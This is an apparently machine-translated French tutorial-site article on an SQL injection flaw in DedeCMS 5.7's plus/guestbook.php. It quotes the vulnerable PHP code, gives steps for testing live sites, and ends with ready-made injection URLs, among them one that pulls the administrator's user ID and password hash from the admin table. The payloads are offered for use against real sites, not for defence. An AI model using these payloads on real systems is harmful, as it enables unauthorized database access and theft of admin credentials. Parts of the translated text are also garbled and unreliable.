Maison >développement back-end >tutoriel php >dedecms5.7 le dernier SQL exploite la vulnérabilité d'injection de guestbook.php

dedecms5.7 le dernier SQL exploite la vulnérabilité d'injection de guestbook.php

不言
不言original
2018-04-10 09:48:2212717parcourir

Cet article présente la dernière vulnérabilité d'injection SQL de dedecms5.7 à l'aide de guestbook.php. Maintenant, je le partage avec vous. Les amis dans le besoin peuvent s'y référer

<.>La version concernée est la 5.7

Le code spécifique du fichier de vulnérabilité edit.inc.php :

< ?php  

if(!defined(&#39;DEDEINC&#39;)) exit(&#39;Request Error!&#39;);  

   

if(!empty($_COOKIE[&#39;GUEST_BOOK_POS&#39;])) $GUEST_BOOK_POS = $_COOKIE[&#39;GUEST_BOOK_POS&#39;];  

else $GUEST_BOOK_POS = "guestbook.php";  

   

$id = intval($id);  

if(empty($job)) $job=&#39;view&#39;;  

   

if($job==&#39;del&#39; && $g_isadmin)  

{  

$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  

exit();  

}  

else if($job=='check' && $g_isadmin)  

{  

$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  

exit();  

}  

else if($job=='editok')  

{  

$remsg = trim($remsg);  

if($remsg!='')  

{  

//管理员回复不过滤HTML By:Errorera blog:errs.cc  

if($g_isadmin)  

{  

$msg = "<p class=&#39;rebox&#39;>".$msg."</p>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复:</font> }  

else 

{  

$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

$oldmsg = "<p class=&#39;rebox&#39;>".addslashes($row['msg'])."</p>\n";  

$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

$msg = $oldmsg.$remsg;  

}  

}  

//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  

$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  

exit();  

}  

//home:www.errs.cc  

if($g_isadmin)  

{  

$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

}  

else 

{  

$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

}
Conditions requises pour que la vulnérabilité réussisse :

1. =off
2 Le fichier de vulnérabilité existe plus/guestbook.php et la table dede_guestbook doit également exister.

Comment juger s'il y a une vulnérabilité :

Ouvrez d'abord www.xxx.com/plus/guestbook.php pour voir les messages des autres personnes,
puis placez la souris sur [Répondre/Modifier] pour voir l'ID du message de quelqu'un d'autre. Notez ensuite l'ID
Visite :

www.xxx.com/plus/guestbook.php?action=admin&job=editok&msg=errs.cc'&id=存在的留言ID
Après la soumission, s'il s'agit de la version dede5.7, "Modifié avec succès ou répondu à un message" apparaîtra, ce qui prouve que la modification a réussi

Revenez à www .xxx.com/plus/guestbook.php Vérifiez si l'ID de message que vous avez modifié a changé en errs.cc'

Si c'est le cas, cela prouve que la vulnérabilité ne peut pas être exploitée et php magic_quotes_gpc= doit être activé et désactivé

Si la modification échoue, alors le contenu de l'ID du message est toujours le même qu'avant, ce qui prouve que la vulnérabilité peut être exploitée.

Ensuite, visitez


www.xxx.com/plus/guestbook.php?action=admin&job=editok&id=存在的留言ID&msg=',msg=user(),email='
puis revenez, le contenu de l'ID du message sera directement modifié en utilisateur mysql().

Ceci c'est probablement ainsi qu'il est utilisé. Si vous êtes intéressé, veuillez faire plus de recherches ! !

Enfin, certaines personnes peuvent dire comment casser le mot de passe du compte de gestion en arrière-plan Vous le saurez après vos propres recherches. Quoi qu'il en soit, il peut certainement être exposé (s'il ne peut pas être exposé, je ne le publierai pas) ! !

view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
                                                                 

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn